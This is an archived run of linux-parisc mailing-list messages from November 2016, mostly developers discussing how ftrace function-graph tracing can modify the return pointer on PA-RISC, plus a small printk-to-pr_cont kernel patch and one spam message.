> Looking at the above code, it should then be possible for me
> to modify -10(r3), but is there a guarantee that it's always at
> -10(r3) and that r3 is used?
> That's the reason I asked if we could modify mcount to
> give the address (in the stack) of the return pointer, but maybe
> it's just overkill for this use case ?

Why do you need to modify the value?

AFAICT ftrace uses these values heuristically e.g.
HAVE_FUNCTION_GRAPH_FP_TEST, HAVE_FUNCTION_GRAPH_RET_ADDR_PTR?

For example the only uses I see are in ftrace_pop_return_trace() and
they are purely heuristic.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Change call ABI on PA-RISC
Date: Tue, 15 Nov 2016 19:30:25 +0100
Lines: 34
Approved: news@gmane.org
Message-ID: <b9d85ee3-6509-9648-feee-21ebf9d50b2b@gmx.de>
References: <0E3ABDFC-D082-4DA8-9D5B-12FC7E95335F@bell.net>
 <bf499ea2-6148-9cf8-eba3-b0f6de5cf309@gmx.de>
 <93610ddc-78d3-f456-9ca0-59362ac7b355@redhat.com>
 <2d705201-5651-b4e7-9e92-6d0f175b44b9@gmx.de>
 <06f2cef7-6946-911e-53d8-375637d54096@redhat.com>
 <77ee085f-205e-5fcb-d5e8-86bc95d5b9eb@bell.net>
 <491e8502-17a3-f203-0c9a-273a988ee0ee@gmx.de>
 <CAE2sS1g2AX328mz+vi0sfGEuS=YX0=aoOCFg+evfB9-5TJ-Cjg@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1479234661 24008 195.159.176.226 (15 Nov 2016 18:31:01 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 15 Nov 2016 18:31:01 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
 Thunderbird/45.4.0
Cc: John David Anglin <dave.anglin@bell.net>,
        Jeff Law <law@redhat.com>,
        "linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Nov 15 19:30:55 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1c6iV9-0003Qy-9r
	for glpp-linux-parisc@m.gmane.org; Tue, 15 Nov 2016 19:30:35 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S933142AbcKOSai (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 15 Nov 2016 13:30:38 -0500
Original-Received: from mout.gmx.net ([212.227.15.18]:52255 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S932987AbcKOSah (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 15 Nov 2016 13:30:37 -0500
Original-Received: from [192.168.20.58] ([92.203.19.172]) by mail.gmx.com (mrgmx001
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0Mh9yT-1cSM5a1LX7-00MLuS; Tue, 15
 Nov 2016 19:30:27 +0100
In-Reply-To: <CAE2sS1g2AX328mz+vi0sfGEuS=YX0=aoOCFg+evfB9-5TJ-Cjg@mail.gmail.com>
X-Provags-ID: V03:K0:tDDkNusDzDPvTDzM+4mk9a9kFTXnGHvSD3y6PNTpuUpaQ0SU89q
 bSzqCYMrgHOBJWqivoDO4oPw8kisOT/Ib1tTQ34+DjPWyin+z6AZzg5qCTcPYx/AtJmAB46
 Dh991QWay80eKzhfk5/epnSHTe/khaqZEIuTyntKUaFaCNOMHuckZXGzrLav5UAvsXH4OVY
 valWbyo6NvWPEdPjy2eVg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:iMnbL+Eo85I=:ewhMbQEwtnj0gg9Ccne9H6
 0ghF9jRfY8w8XwF8k+Zo4aowI9HPeIzGq5Ys4S4/VifKgcJzq+XOS/3s1OmP7p1CdPC6T08qZ
 gnlCJ2S0SfHEwgEVY3LNVxVVjsFItjvj3CrgVWT9pLNyiqZYysuAFoF2Bx4YVaPt7YbYkcNxq
 sApxYq/5JGek7L5grne+4mYjqcakLQc1jKSxbhFjpEoHwvbSX+Tva3crVAIzxRnYHw/dDUdjH
 xocTPvmgtBDMiOyuX5/H+vwH3YR00kWJ/J9pBJseDrSfLeVUTrPRQk6PWlkwngTz7okrow98L
 oedqpvn3nnF1+NJ0TCQgJeRivRMRJahVcJXdpKu4mrs+k15TzjW9h0RuXolq6YQ0aJhGK7Iew
 pknZw9vbKUJ+QAKVgRsjTf9OE8zi3e6Yl3z/ihQ7kKx/vx+5Ly06V1VjEoA1TXuRNmRPBXXcZ
 cHqmjex2wr63Z4MRQRhrwDTWQiIyLCeAwLFq2LYidAT9CrRNilkTLDmNkOyhTFxx8IqzAfUK9
 0F3GUvpg2KScg0ixA+deyHp6J0BCSAfOgMQjUpoUxSTqx1gLiDwt6ulJVtKvGmxwcsQWv7TqV
 hrKmj1Euhh227P/ZfH68X1/CKq/eLrY1NJXXpSvzjAEQgJLLwp/bhoyIaZsFAm+fM54Qz9tkg
 PGAIFkil8orPHhvO5N5RkOLVEmS7eV3vAg+kHq+wI1ii3mLgDR09sCyCwRgaC3Dunf936vAtn
 QhZeAgrKCrdqAQcHFBFIFgt82+0q/7FcTCpRxFORl4F47uDutRld5TQrLeO0P+eIJ9AElo9w 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27055
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27055>

Hi Carlos,

On 14.11.2016 18:23, Carlos O'Donell wrote:
> On Mon, Nov 14, 2016 at 11:24 AM, Helge Deller <deller@gmx.de> wrote:
>> What I want to archieve is to modify the return pointer, in order
>> to be able to track when the function returns to his caller.
>> The kernel ftracer uses this then to generate call stacks and to
>> time the function.
>> Looking at the above code, it should then be possible for me
>> to modify -10(r3), but is there a guarantee that it's always at
>> -10(r3) and that r3 is used?
>> That's the reason I asked if we could modify mcount to
>> give the address (in the stack) of the return pointer, but maybe
>> it's just overkill for this use case ?
> 
> Why do you need to modify the value?
> 
> AFAICT ftrace uses these values heuristically e.g.
> HAVE_FUNCTION_GRAPH_FP_TEST, HAVE_FUNCTION_GRAPH_RET_ADDR_PTR?
> 
> For example the only uses I see are in ftrace_pop_return_trace() and
> they are purely heuristic.

Maybe I get you wrong, but do you suggest I don't need to implement
it because it's just heuristic ?
(I agree, it's not top priority, but nice to have nevertheless)

Helge

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Change call ABI on PA-RISC
Date: Tue, 15 Nov 2016 19:04:02 -0500
Lines: 45
Approved: news@gmane.org
Message-ID: <6D56169E-C8F4-406F-A1F9-8FAF633A92E6@bell.net>
References: <0E3ABDFC-D082-4DA8-9D5B-12FC7E95335F@bell.net> <bf499ea2-6148-9cf8-eba3-b0f6de5cf309@gmx.de> <93610ddc-78d3-f456-9ca0-59362ac7b355@redhat.com> <2d705201-5651-b4e7-9e92-6d0f175b44b9@gmx.de> <06f2cef7-6946-911e-53d8-375637d54096@redhat.com> <77ee085f-205e-5fcb-d5e8-86bc95d5b9eb@bell.net> <491e8502-17a3-f203-0c9a-273a988ee0ee@gmx.de> <CAE2sS1g2AX328mz+vi0sfGEuS=YX0=aoOCFg+evfB9-5TJ-Cjg@mail.gmail.com> <b9d85ee3-6509-9648-feee-21ebf9d50b2b@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1479254669 14036 195.159.176.226 (16 Nov 2016 00:04:29 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 16 Nov 2016 00:04:29 +0000 (UTC)
Cc: Carlos O'Donell <carlos@systemhalted.org>,
        Jeff Law <law@redhat.com>,
        "linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Nov 16 01:04:24 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1c6nhq-0000HV-5i
	for glpp-linux-parisc@m.gmane.org; Wed, 16 Nov 2016 01:04:02 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753053AbcKPAEE (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 15 Nov 2016 19:04:04 -0500
Original-Received: from simcoe208srvr.owm.bell.net ([184.150.200.208]:52183 "EHLO
        torfep02.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1751741AbcKPAEE (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 15 Nov 2016 19:04:04 -0500
Original-Received: from bell.net torfep02 184.150.200.158 by torfep02.bell.net
          with ESMTP
          id <20161116000402.RANO1475.torfep02.bell.net@torspm02.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Tue, 15 Nov 2016 19:04:02 -0500
Original-Received: from [192.168.2.10] (really [184.144.120.170])
          by torspm02.bell.net with ESMTP
          id <20161116000402.RPWB3859.torspm02.bell.net@[192.168.2.10]>;
          Tue, 15 Nov 2016 19:04:02 -0500
In-Reply-To: <b9d85ee3-6509-9648-feee-21ebf9d50b2b@gmx.de>
X-Mailer: Apple Mail (2.1085)
X-Opwv-CommTouchExtSvcRefID: str=0001.0A020202.582BA273.0027,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27056
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27056>

Hi Helge,

On 2016-11-15, at 1:30 PM, Helge Deller wrote:

> Hi Carlos,
> 
> On 14.11.2016 18:23, Carlos O'Donell wrote:
>> On Mon, Nov 14, 2016 at 11:24 AM, Helge Deller <deller@gmx.de> wrote:
>>> What I want to archieve is to modify the return pointer, in order
>>> to be able to track when the function returns to his caller.
>>> The kernel ftracer uses this then to generate call stacks and to
>>> time the function.
>>> Looking at the above code, it should then be possible for me
>>> to modify -10(r3), but is there a guarantee that it's always at
>>> -10(r3) and that r3 is used?
>>> That's the reason I asked if we could modify mcount to
>>> give the address (in the stack) of the return pointer, but maybe
>>> it's just overkill for this use case ?
>> 
>> Why do you need to modify the value?
>> 
>> AFAICT ftrace uses these values heuristically e.g.
>> HAVE_FUNCTION_GRAPH_FP_TEST, HAVE_FUNCTION_GRAPH_RET_ADDR_PTR?
>> 
>> For example the only uses I see are in ftrace_pop_return_trace() and
>> they are purely heuristic.
> 
> Maybe I get you wrong, but do you suggest I don't need to implement
> it because it's just heuristic ?
> (I agree, it's not top priority, but nice to have nevertheless)


Probably, Carlos is referring to glibc code.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "gowans@gmx.com" <beltran.montes1@gmx.com>
Newsgroups: gmane.linux.ports.parisc
Subject: =?windows-1251?Q?=D6=E5=EB=E5=E2=FB=E5_=EA=EB=E8=E5=ED=F2?=
        =?windows-1251?Q?=F1=EA=E8=E5_=E1=E0=E7=FB_Skype=3A_proda?=
        =?windows-1251?Q?wez390_Whatsapp=3A_+79139230330_Viber=3A?=
        =?windows-1251?Q?__+79139230330_Telegram=3A_+79139230330_?=
        =?windows-1251?Q?Email=3A_prodawez391=40gmail=2Ecom?=
Date: Fri, 18 Nov 2016 11:10:31 +0700
Lines: 6
Approved: news@gmane.org
Message-ID: <F8FD4B1813C7E95A8683CA7662D4468B@gmx.com>
Reply-To: "gowans@gmx.com" <prodawez391@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="windows-1251";
Content-Transfer-Encoding: 8BIT
X-Trace: blaine.gmane.org 1479362475 11848 195.159.176.226 (17 Nov 2016 06:01:15 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 17 Nov 2016 06:01:15 +0000 (UTC)
To: "sara_bp19@hotmail.com" <sara_bp19@hotmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Nov 17 07:01:09 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1c7Fky-0001w3-G1
	for glpp-linux-parisc@m.gmane.org; Thu, 17 Nov 2016 07:01:08 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751667AbcKQGBK convert rfc822-to-8bit (ORCPT
        <rfc822;glpp-linux-parisc@m.gmane.org>);
        Thu, 17 Nov 2016 01:01:10 -0500
Original-Received: from [46.101.159.204] ([46.101.159.204]:36518 "EHLO
        squid-de-bvs.localdomain" rhost-flags-FAIL-FAIL-OK-FAIL)
        by vger.kernel.org with ESMTP id S1751378AbcKQGBK (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Thu, 17 Nov 2016 01:01:10 -0500
X-Greylist: delayed 4649 seconds by postgrey-1.27 at vger.kernel.org; Thu, 17 Nov 2016 01:01:09 EST
Original-Received: from aheps (squid-de-bvs [IPv6:::1])
        by squid-de-bvs.localdomain (Postfix) with SMTP id D535D54EB3;
        Thu, 17 Nov 2016 04:11:17 +0000 (UTC)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27057
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27057>

   Skype: prodawez390 Whatsapp: +79139230330 Viber:  +79139230330 Telegram: +79139230330 Email: prodawez391@gmail.com
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Fix printk continuations in system detection
Date: Thu, 17 Nov 2016 21:13:56 +0100
Lines: 44
Approved: news@gmane.org
Message-ID: <20161117201356.GA30025@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1479413656 2246 195.159.176.226 (17 Nov 2016 20:14:16 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 17 Nov 2016 20:14:16 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Nov 17 21:14:12 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1c7T4S-00033c-4d
	for glpp-linux-parisc@m.gmane.org; Thu, 17 Nov 2016 21:14:08 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751039AbcKQUOL (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Thu, 17 Nov 2016 15:14:11 -0500
Original-Received: from mout.gmx.net ([212.227.15.15]:54352 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1750849AbcKQUOL (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Thu, 17 Nov 2016 15:14:11 -0500
Original-Received: from p100.box ([92.203.6.216]) by mail.gmx.com (mrgmx002
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0Lck9X-1cWegK1g8N-00k7JN; Thu, 17
 Nov 2016 21:13:59 +0100
Content-Disposition: inline
X-Provags-ID: V03:K0:rTBNqXUr/n3SOgaTIfZG4xFzJ+ayDhFD5Sy06Bz2YESkSdlTA40
 xhWpfWkoG9u/dBaLTeaA5Zrq333Ejprs7/kuoIbp7JcbGDXv9NzMSEMBE6mXs2Gz1iCm9vd
 N/Heyh9WmxzCTotix4GHdx7ny99rhlPnPh6ZyhZAW9TgqYriP17OChXn6B+k0l3FYQFecEB
 voKBVoH5mVpRXNDKP8kyw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:fv29a7831Jo=:a7R4ULPa+0H+YzBAQ3IAiS
 pExbeV7lPHFqKb92DfaKhfQkBCZE9SV/X5q/O3Jlw19MSbDJWqHk4dc6wkrvbUKgBkj7cTutX
 fxP8fQ5JLqDQ3gEMdH68aDXWMSL21zFCN44pP/UwUVRQnmXsmAhu7JTQZYPhDjQ5VqzJqxIGy
 16iwyMItws7UrLHcmemaYz+2ap7POTqHPBdYOmnuUstgL9Usb0PA9hYaNbHtZbk8FiwoQ/Meg
 WdMOKJVyLkcQBaW5+45WUXP2aeX6CxsKpaVLiQabee3uGOHhBYMoN37V0R4HsNh+CAS++MYLr
 vdBKT8fDIZXc5+ySgZD2YgVREDGQlaYy9QIUBzVR81lAaaQbLJ+nwTXO8KL1hCGJ/PQB3vIzj
 hEubKovXUEu40KiV5crEFmvEfW6RS0NcPnT8Q9ET+V/xB6tS5S5SR2KZXAK9yEKNWwI8EwkB2
 YFBcUX2uCaZVPVufmXSJLA4u28szIcUJKoBT7sHpdqPMQ4PpE3qgnzOjP5cgMZwbphv4iQKtd
 m6uPdvP0iqAGMpXLBlaBG+6ni9xsEyNeIwpx6W772bSjawI9nBAZrv5xilzVyHpJK612bEH+/
 BP8uHU/6WpDej2qJYyIn6KwdMGFEM5EtmJ/wZzcR8Ay166CJ4qDQstKj4d/QaQfkcQuu238AN
 Ky4MHiA2gNKRcPBgql4Ij04eH5MeSLRo60f/0j4w07cHy/PYTov53zzKHjruimAjbu1fsajOn
 HsoZXvfwhl6EB+3SfIyQoerHwcDb2ZLJSJV/54CAwwFADUV+7XyjOR+4c24=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27058
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27058>

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/inventory.c b/arch/parisc/kernel/inventory.c
index 545f9d2..c9789d9 100644
--- a/arch/parisc/kernel/inventory.c
+++ b/arch/parisc/kernel/inventory.c
@@ -58,7 +58,7 @@ void __init setup_pdc(void)
 	status = pdc_system_map_find_mods(&module_result, &module_path, 0);
 	if (status == PDC_OK) {
 		pdc_type = PDC_TYPE_SYSTEM_MAP;
-		printk("System Map.\n");
+		pr_cont("System Map.\n");
 		return;
 	}
 
@@ -77,7 +77,7 @@ void __init setup_pdc(void)
 	status = pdc_pat_cell_get_number(&cell_info);
 	if (status == PDC_OK) {
 		pdc_type = PDC_TYPE_PAT;
-		printk("64 bit PAT.\n");
+		pr_cont("64 bit PAT.\n");
 		return;
 	}
 #endif
@@ -97,12 +97,12 @@ void __init setup_pdc(void)
 	case 0xC:		/* 715/64, at least */
 
 		pdc_type = PDC_TYPE_SNAKE;
-		printk("Snake.\n");
+		pr_cont("Snake.\n");
 		return;
 
 	default:		/* Everything else */
 
-		printk("Unsupported.\n");
+		pr_cont("Unsupported.\n");
 		panic("If this is a 64-bit machine, please try a 64-bit kernel.\n");
 	}
 }
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Change call ABI on PA-RISC
Date: Thu, 17 Nov 2016 15:19:15 -0500
Lines: 120
Approved: news@gmane.org
Message-ID: <CAE2sS1hv7j548_4znqSPssD7sT1aNd+ta3EZfi_67NPjR2kaqQ@mail.gmail.com>
References: <0E3ABDFC-D082-4DA8-9D5B-12FC7E95335F@bell.net>
 <bf499ea2-6148-9cf8-eba3-b0f6de5cf309@gmx.de> <93610ddc-78d3-f456-9ca0-59362ac7b355@redhat.com>
 <2d705201-5651-b4e7-9e92-6d0f175b44b9@gmx.de> <06f2cef7-6946-911e-53d8-375637d54096@redhat.com>
 <77ee085f-205e-5fcb-d5e8-86bc95d5b9eb@bell.net> <491e8502-17a3-f203-0c9a-273a988ee0ee@gmx.de>
 <CAE2sS1g2AX328mz+vi0sfGEuS=YX0=aoOCFg+evfB9-5TJ-Cjg@mail.gmail.com>
 <b9d85ee3-6509-9648-feee-21ebf9d50b2b@gmx.de> <6D56169E-C8F4-406F-A1F9-8FAF633A92E6@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: blaine.gmane.org 1479413961 18653 195.159.176.226 (17 Nov 2016 20:19:21 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 17 Nov 2016 20:19:21 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, Jeff Law <law@redhat.com>,
        "linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Nov 17 21:19:15 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1c7T9O-0008Ff-8Y
	for glpp-linux-parisc@m.gmane.org; Thu, 17 Nov 2016 21:19:14 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751532AbcKQUTR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Thu, 17 Nov 2016 15:19:17 -0500
Original-Received: from mail-qk0-f170.google.com ([209.85.220.170]:33144 "EHLO
        mail-qk0-f170.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751320AbcKQUTR (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Thu, 17 Nov 2016 15:19:17 -0500
Original-Received: by mail-qk0-f170.google.com with SMTP id x190so236779039qkb.0
        for <linux-parisc@vger.kernel.org>; Thu, 17 Nov 2016 12:19:16 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=systemhalted.org; s=google;
        h=mime-version:in-reply-to:references:from:date:message-id:subject:to
         :cc;
        bh=tD4YzrrUwdXCSP2Q66datIRN0QSl5/Gkg3XD3dtebCg=;
        b=BozNxWJpIfQs5uPuywE8WEd9ZnfGfqrMwLuUSDUSvAZk+NrFdi2Tpfp+0xExPCt0FV
         pjKNdbeD/sJ31fOSMs3mWg4iwquOJfEEa82SgcD0myREQ6b/4bXDGvU5OxQ1s0g5+5Xa
         tFsuUz7swLS9/zB/v9kw8X53XbmjXYCtpeNgM=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:in-reply-to:references:from:date
         :message-id:subject:to:cc;
        bh=tD4YzrrUwdXCSP2Q66datIRN0QSl5/Gkg3XD3dtebCg=;
        b=YZLK52xpiezPjYrdjH5chwDbrfRaYB7nMPa4B7jujVANofcoujNqu0n+UV8zlWuBxx
         ZaT5Oo2fBAdgt5u9jx+dr3payi8P2w2wHAYUiXG3oT/uO9mquj2gBMsQxZTvB4HU4ArF
         w7/dr43+XdKnrlxd2CG+UFV+gtYPgPPQTEC6+2CzVtMEO2/qzGBXobVO11khO/9TzEY5
         DK6E90nMBn6Z51Z5d4dqon50HWmlMwkfN9/7ooIJYjQlC4sg6L13mvr9SMm/7yjhprdW
         DfOUhwV+zDm+O5H37Gl/fDAlSAHMojPA1lh47Lb9vaoQoRAV2OKpjNMheeopfiN4KVw/
         bUfQ==
X-Gm-Message-State: AKaTC006i2Ly1TBZWpSHJ2L5INg9UR1ziwM4S56OnNBDiZ31Abhqh9VpmQVTppa15UWcZ2t0tlfQikGCQXldAw==
X-Received: by 10.55.217.19 with SMTP id u19mr5420001qki.312.1479413955836;
 Thu, 17 Nov 2016 12:19:15 -0800 (PST)
Original-Received: by 10.237.45.70 with HTTP; Thu, 17 Nov 2016 12:19:15 -0800 (PST)
X-Originating-IP: [67.70.96.49]
In-Reply-To: <6D56169E-C8F4-406F-A1F9-8FAF633A92E6@bell.net>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27059
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27059>

On Tue, Nov 15, 2016 at 7:04 PM, John David Anglin <dave.anglin@bell.net> wrote:
> Hi Helge,
>
> On 2016-11-15, at 1:30 PM, Helge Deller wrote:
>
>> Hi Carlos,
>>
>> On 14.11.2016 18:23, Carlos O'Donell wrote:
>>> On Mon, Nov 14, 2016 at 11:24 AM, Helge Deller <deller@gmx.de> wrote:
>>>> What I want to archieve is to modify the return pointer, in order
>>>> to be able to track when the function returns to his caller.
>>>> The kernel ftracer uses this then to generate call stacks and to
>>>> time the function.
>>>> Looking at the above code, it should then be possible for me
>>>> to modify -10(r3), but is there a guarantee that it's always at
>>>> -10(r3) and that r3 is used?
>>>> That's the reason I asked if we could modify mcount to
>>>> give the address (in the stack) of the return pointer, but maybe
>>>> it's just overkill for this use case ?
>>>
>>> Why do you need to modify the value?
>>>
>>> AFAICT ftrace uses these values heuristically e.g.
>>> HAVE_FUNCTION_GRAPH_FP_TEST, HAVE_FUNCTION_GRAPH_RET_ADDR_PTR?
>>>
>>> For example the only uses I see are in ftrace_pop_return_trace() and
>>> they are purely heuristic.
>>
>> Maybe I get you wrong, but do you suggest I don't need to implement
>> it because it's just heuristic ?
>> (I agree, it's not top priority, but nice to have nevertheless)
>
>
> Probably, Carlos is referring to glibc code.

No, I'm referring to linux kernel code, there is no ftrace in glibc.

The above two conditionals in the kernel are only heuristic checks to
terminate ftrace unwinds with errors.

You need not implement them to have ftrace working.

kernel/trace/trace_functions_graph.c

 173 #ifdef HAVE_FUNCTION_GRAPH_FP_TEST
 174         current->ret_stack[index].fp = frame_pointer;
 175 #endif
 176 #ifdef HAVE_FUNCTION_GRAPH_RET_ADDR_PTR
 177         current->ret_stack[index].retp = retp;
 178 #endif


 211 #ifdef HAVE_FUNCTION_GRAPH_FP_TEST
 212         /*
 213          * The arch may choose to record the frame pointer used
 214          * and check it here to make sure that it is what we expect it
 215          * to be. If gcc does not set the place holder of the return
 216          * address in the frame pointer, and does a copy instead, then
 217          * the function graph trace will fail. This test detects this
 218          * case.
 219          *
 220          * Currently, x86_32 with optimize for size (-Os) makes the latest
 221          * gcc do the above.
 222          *
 223          * Note, -mfentry does not use frame pointers, and this test
 224          *  is not needed if CC_USING_FENTRY is set.
 225          */
 226         if (unlikely(current->ret_stack[index].fp != frame_pointer)) {
 227                 ftrace_graph_stop();
 228                 WARN(1, "Bad frame pointer: expected %lx, received %lx\n"
 229                      "  from func %ps return to %lx\n",
